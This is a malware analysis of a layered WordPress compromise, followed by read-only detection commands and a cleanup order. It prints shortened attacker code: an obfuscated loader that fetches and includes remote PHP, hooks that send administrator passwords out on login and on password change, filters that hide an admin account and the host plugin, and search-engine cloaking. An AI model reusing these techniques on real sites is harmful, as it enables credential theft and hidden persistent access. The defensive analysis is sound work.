The site owner's complaint was short: one PHP file in wp-admin/ kept coming back. It had been removed before, and it was back. The file itself was empty, zero bytes. An empty file does nothing, so the real question was what kept putting it there.
The answer was a small, well-organised kit with four layers, each one covering for the others: a remote loader appended to a WordPress core file, a fake must-use plugin that kept every page cache empty, two "hardening" snippets in a legitimate code-snippet plugin that were really a backdoor and a cloaking engine, and a credential stealer that lived only in the PHP temp directory. The most interesting part was how much work the kit put into hiding its own tools from the site owner, including the plugin it was running inside.
This article walks through each layer in the order we took it apart, with the read-only commands that find it. Domains, secret tokens and anything that could identify the site are removed. Attacker infrastructure is described by type, not by name.
🧭 The timeline: twenty minutes on one morning
Modification times on this site were useless. Two of the malicious files claimed to be months or years old. Birth times, which a PHP process cannot set, told a different story:
# %w = birth time, %y = modification time. A big gap on a PHP file is a red flag.
stat -c '%w | %y | %n' wp-includes/author-template.php wp-content/mu-plugins/*.php
Put together with the database dates, the whole kit arrived within about twenty minutes:
- +0 min: a popular code-snippet plugin (WPCode, "Insert Headers and Footers") is installed and activated.
- +1 min: the first snippet is created, titled Disable XML-RPC.
- +4 min: a core file and a new must-use plugin are written in the same second, together with the empty file in
wp-admin/. Their modification times are set back to dates in the past. - +16 min: a second snippet appears, titled Disable WordPress REST API.
- +21 min: a new directory with a single gambling page is created in the web root.
The empty file was never the payload. It was a leftover, and chasing it alone would have left all four layers in place.
📦 Layer 1: a remote loader inside a core file
wp core verify-checksums flagged one file: wp-includes/author-template.php. It is loaded on every request that renders a page, and nobody ever reads it. The original code was untouched. The attacker appended this block at the end (shortened):
/* WP Static Cache Handler - Performance Optimization */
@call_user_func(function(){
if(defined('_WPSC_INIT'))return;
define('_WPSC_INIT',1);
$_fn=array_combine(['a','b','c','d','e','f','g'],array_map(function($s){return implode('',$s);},
[[chr(102),chr(105),chr(108),chr(101),chr(95),chr(103),chr(101),chr(116), /* ... */ ]]));
$_ep=base64_decode('aHR0cHM6Ly9...'); // remote URL
$_hk=substr(md5(($_SERVER['HTTP_HOST']??'').dirname(__FILE__)),0,8);
$_cp=($_fn['g'])().DIRECTORY_SEPARATOR.'.cache_'.$_hk.'.tmp';
$_vl=($_fn['c'])($_cp)&&($_fn['d'])($_cp)>100&&($_fn['e'])($_cp)>time()-7200;
if(!$_vl){ /* download $_ep with SSL checks off, write it to $_cp */ }
if(($_fn['c'])($_cp)&&($_fn['d'])($_cp)>0){@include($_cp);}
});
The chr() arrays decode to seven ordinary function names: file_get_contents, file_put_contents, file_exists, filesize, filemtime, stream_context_create and sys_get_temp_dir. Building them character by character keeps every one of those names out of the file, so a simple text search for them finds nothing.
What it does:
- It builds a cache file name from a hash of the host name and the directory:
.cache_<8 hex>.tmp, placed in PHP's temp directory, not in the web root. - If that file is missing, smaller than 100 bytes or older than two hours, it downloads fresh PHP from a serverless worker endpoint and writes it there.
- Then it
includes the cached file on every request.
Two details matter for cleanup. First, the payload is not on the site at all, so a search of the web root does not find it. Second, the host name is part of the hash, so a site reachable as www and without it ends up with several cache files. We found three identical copies.
🗝️ Layer 2: the payload, an administrator password stealer
The cached file was a small class that waits for administrators:
add_action("wp_login", array("WPAH","sl"), 10, 2); // every login
add_action("profile_update", array("WPAH","cp"), 10, 2); // every profile save
// sl(): if the user is an administrator, take $_POST["pwd"] (or the whole $_POST)
// cp(): if an administrator's password hash changed, take $_POST["pass2"]
// snd(): wp_remote_post(LOG_API . "?key=...", [ "blocking" => false, "sslverify" => false, ... ])
Each report carries the site, user name, plain-text password, e-mail, login page, IP address and user agent, pre-formatted with emoji and HTML bold for a chat-bot style channel. The request is non-blocking, so the login is not even slowed down.
The profile_update hook is the nasty one. It fires when an administrator changes their password. An owner who suspects a breach and changes passwords before the cleanup sends the new password straight to the attacker. Change passwords after the loader is gone, not before.
🧹 Layer 3: a fake "cache system" that keeps caches empty
A new must-use plugin, wp-content/mu-plugins/wp-cache-system.php, introduced itself as WordPress Cache System. Must-use plugins load on every request and do not appear in the normal plugin list, which makes them a favourite place for persistence. This one contains no backdoor at all. Its job is the opposite of its name:
- It sends
no-cache/no-storeheaders on every front-end response, includingCDN-Cache-Control,Cloudflare-CDN-Cache-ControlandSurrogate-Control. - It schedules an hourly WP-Cron event that purges every page cache it knows: LiteSpeed, WP Rocket, W3 Total Cache, WP Super Cache, SiteGround, Kinsta, WP Engine, Breeze, Hummingbird, Autoptimize, the Cloudflare plugin and more. The deep version also flushes the object cache and resets OPcache.
- It purges again whenever a post is saved, a plugin is switched or the theme changes.
function wcs_schedule_flush() {
$hook = 'wcs_scheduled_flush';
if (wp_get_schedule($hook) !== 'hourly') {
wp_clear_scheduled_hook($hook);
wp_schedule_event(time() + 60, 'hourly', $hook);
}
}
add_action('init', 'wcs_schedule_flush');
add_action('send_headers', 'wcs_nocache_headers', 1);
Why would malware want an uncached site? Because the cloaking in layer 4 decides per request who gets the gambling page. A full-page cache would store one version and serve it to everyone, so search engines might get the clean page and visitors the spam. Keeping every cache empty guarantees that PHP runs on every hit and the cloaking always gets to choose.
✂️ Layer 4: two "hardening" snippets that were the real backdoor
WPCode is a legitimate plugin. It stores snippets as posts of type wpcode, with the code in post_content and settings in post meta, and runs the active PHP snippets on every request. Anyone with administrator access can add PHP to a site this way without touching a single file, which is why attackers like it. The two snippets here had harmless titles that a site owner might have added themselves.
Snippet A, "Disable XML-RPC": backdoor and bodyguard
It did nothing to XML-RPC. It contained:
- A webshell loader. A request with a specific query parameter downloads PHP from a remote worker endpoint into the temp directory under a random
wp_*.phpname,includes it and deletes it. When the delete fails or the request is cut off, the file stays behind. We found six leftover copies of a full file manager and terminal in the temp directory. - Auto-login as an administrator. A request with a secret
?login=value logs the visitor in as the first real administrator, alphabetically, never as the attacker's own account. Logs and "last login" plugins then show the legitimate admin logging in. - A hidden administrator. A
pre_user_queryfilter removes one administrator from every user query,users_list_table_query_argsexcludes it from the Users screen, andviews_userslowers the "Administrator (N)" counter by one so the numbers still add up. - Hidden application passwords. It forces Application Passwords on for every user and hides the list of existing ones on the profile screens with CSS. The owner could not see the access token sitting on their own account.
Then it protects the plugin it runs inside:
add_action('admin_menu', function () { remove_menu_page('wpcode'); }, 999);
add_filter('all_plugins', function ($plugins) {
unset($plugins['insert-headers-and-footers/ihaf.php']); // gone from the Plugins list
return $plugins;
});
// "deactivate" or bulk "delete" of the plugin -> wp_die('Plugin WPCode Not Found.', 403)
// admin page renamed: ?page=wpcode returns 404, the real UI lives under a new slug
// on Plugins -> Add New, the WPCode card shows a disabled "Install Now" button
That last trick is clever. An owner who wonders whether WPCode is installed searches for it under Add New and sees "Install Now", as if it were not installed, and the button does not work. The plugin is active the whole time, just invisible.
Snippet B, "Disable WordPress REST API": the cloaking engine
The second snippet served gambling pages to search engines on three URLs: the privacy page, another existing path and one new path. Normal visitors saw the normal site.
$is_bot = preg_match('/googlebot|googleother|bingbot|duckduckbot|yandexbot|baiduspider|.../i', $ua);
$from_se = /* referrer contains google., bing.com, yahoo.com, duckduckgo.com, yandex., baidu.com */;
$country = strcasecmp($_SERVER['HTTP_CF_IPCOUNTRY'] ?? '', 'ID') === 0;
$map = array(
'/some-page/' => 'https://<object-storage-bucket>/<site>-some-page.html',
'/privacy/' => 'https://<object-storage-bucket>/<site>-privacy.html',
'/new-path/' => 'https://<object-storage-bucket>/<site>-new-path.html',
);
if (($is_bot || ($from_se && $country)) && isset($map[$uri])) {
/* fetch the remote HTML with cURL, clear all output buffers, echo it, exit */
}
Search engine crawlers always get the spam. Human visitors get it only if they arrive from a search engine and the CDN's country header says Indonesia, the target market for this "togel" lottery spam. The owner, visiting directly from elsewhere, never sees anything wrong. The spam pages themselves live in a public cloud object-storage bucket, so the site holds only the URL map. The new path also had a static copy of the gambling page in its own directory in the web root.
🔍 Finding it on your own site (read-only)
All of these commands only read. Run WP-CLI as the site's own user, never as root. On a site you suspect, keep in mind that WP-CLI loads plugins and must-use plugins, so malicious snippets can run inside your WP-CLI process too. Prefer direct SQL for the database checks, or add --skip-plugins --skip-themes. Note that must-use plugins still load even with --skip-plugins.
1. Core files and must-use plugins
wp core verify-checksums --skip-plugins --skip-themes
ls -la wp-content/mu-plugins/
grep -n "Plugin Name" wp-content/mu-plugins/*.php
grep -rlE "chr\(1[01][0-9]\),chr\(" wp-includes/ wp-admin/ wp-content/mu-plugins/
2. Snippets stored in the database (adjust the wp_ prefix)
-- every WPCode snippet, active or not
SELECT ID, post_title, post_status, post_date, post_modified
FROM wp_posts WHERE post_type = 'wpcode' ORDER BY post_date DESC;
-- snippets that touch login, users or remote code
SELECT ID, post_title FROM wp_posts
WHERE post_type = 'wpcode'
AND (post_content LIKE '%wp_set_auth_cookie%'
OR post_content LIKE '%pre_user_query%'
OR post_content LIKE '%sys_get_temp_dir%'
OR post_content LIKE '%HTTP_REFERER%'
OR post_content LIKE '%all_plugins%');
If the WPCode menu is missing from wp-admin but rows of type wpcode exist and the plugin folder is in wp-content/plugins/, something is hiding it. The same idea works for other snippet plugins, such as the Code Snippets plugin, which keeps its code in its own snippets table.
3. Administrators the dashboard does not show
SELECT u.ID, u.user_login, u.user_registered
FROM wp_users u JOIN wp_usermeta m ON m.user_id = u.ID
WHERE m.meta_key = 'wp_capabilities' AND m.meta_value LIKE '%administrator%';
-- users that have application passwords
SELECT user_id, CHAR_LENGTH(meta_value) AS bytes
FROM wp_usermeta WHERE meta_key = '_application_passwords';
Compare the first list with the Users screen. Any administrator in SQL that the screen does not show is being filtered out.
4. Payload files in the temp directory
# On many shared hosts the PHP temp dir is a private per-account /tmp; check both
ls -la /tmp/.cache_*.tmp ~/tmp/.cache_*.tmp 2>&1
grep -l 'add_action("wp_login"' /tmp/.cache_*.tmp 2>&1
find /tmp ~/tmp -maxdepth 1 -name 'wp_*.php' -printf '%TY-%Tm-%Td %TH:%TM %s %p\n' 2>&1
5. Cron events and cache-busting headers
wp cron event list --skip-plugins --skip-themes --fields=hook,next_run_relative,recurrence
curl -sI https://example.com/ | grep -iE 'cache-control|cdn-cache-control|surrogate-control'
An unknown hourly hook, or Surrogate-Control: no-store on a site whose owner never set it, deserves a closer look.
6. Cloaking
for ua in "Mozilla/5.0" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"; do
curl -s -A "$ua" https://example.com/privacy/ | sha256sum
done
Two different hashes for the same URL mean the page changes for crawlers. Run it against your most important pages, not just the home page. Also look up the site in a search engine with site: and compare the titles shown with your real page titles.
🛠️ Removing it in the right order
The layers reinstall and feed each other, so the order matters. Take a full database backup and copy every file you are about to change first.
- Restore the core file from the official release of the same WordPress version, then run
wp core verify-checksumsuntil it reports success. As long as the loader is there, any payload you delete is downloaded again on the next request. - Delete the fake must-use plugin, then its cron hook (
wp cron event delete wcs_scheduled_flush) and its option (wcs_last_flush). - Delete the malicious snippets, together with their post meta and term relationships. WPCode also keeps a cached copy of the active snippets in the
wpcode_snippetsoption, so clear that cache in the same step and confirm that no snippet code remains anywhere inwp_options. - Delete the payload files in the temp directory: the
.cache_*.tmpcopies and any leftoverwp_*.phpshells. Check their contents before you delete them, since other applications also use the temp directory. - Remove the doorway directory and any empty stub files.
- Purge every cache (page cache, object cache, transients, CDN) and check the cloaked URLs again with a crawler user agent.
Only then:
- Remove the hidden administrator.
- Revoke the application passwords you did not create.
- Log out all sessions.
- Change administrator passwords and turn on two-factor authentication.
Done earlier, the password change would have been delivered to the attacker by layer 2. Decide yourself whether to keep the snippet plugin. It is a legitimate tool, but if you do not use it, it is one less place to hide PHP.
📋 Checklist
- Check birth times, not modification times, on PHP files that look old.
- Verify core checksums. A loader appended to a core file leaves the original code intact, so the file still looks normal at a glance.
- List every must-use plugin and read it. A "cache" plugin that only purges caches and disables caching is a warning sign.
- Query
wp_postsfor snippet post types directly. Do not trust the plugin's admin screen, or whether the plugin appears in the plugin list at all. - Count administrators in SQL and compare with the dashboard.
- Look for
_application_passwordson every administrator. - Check PHP's temp directory for
.cache_*.tmpandwp_*.phpfiles. - Fetch key pages as Googlebot and compare.
- Change passwords after the cleanup, never before.
💡 Takeaways
- A file that keeps coming back is a symptom. Look for whatever is putting it there, and expect more than one layer.
- Code-snippet plugins are legitimate, and that is exactly why they make good malware hosts: the code lives in the database and looks like configuration.
- Malware that hides the user list, the plugin list and the application password list is telling you where to look. Query the database directly.
- A "performance" plugin that disables caching is serving someone else's performance needs.
- A web root cleanup does not reach payloads cached outside the web root. Check PHP's temp directory too.
❓ FAQ
Is WPCode itself malicious?
No. WPCode is a legitimate plugin that runs code snippets an administrator adds. Here, someone with administrator access installed it and used it to store PHP in the database. Any plugin that runs stored PHP can be misused the same way.
Why didn't deleting the empty file in wp-admin help?
The empty file was a leftover, not the cause. The code that kept the site infected lived in a core file, a must-use plugin, two database snippets and PHP's temp directory. Removing one visible file left all of them running.
How can an administrator be invisible in WordPress?
A filter on pre_user_query and users_list_table_query_args removes the account from every user list, and a filter on views_users adjusts the role counters. The account still exists in wp_users and still works. A direct SQL query shows it.
Should I change passwords right away if I suspect a compromise?
Not while the malware is still running. This kit hooked profile_update and sent any new administrator password to the attacker. Remove the malware first, then change passwords, revoke application passwords and end all sessions.
Why would malware disable page caching?
Cloaking decides per request whether to show spam, based on the user agent, referrer and country. A page cache would store one version and serve it to everyone, which breaks the trick. Forcing no-store and purging caches every hour makes sure PHP and the cloaking run on every hit.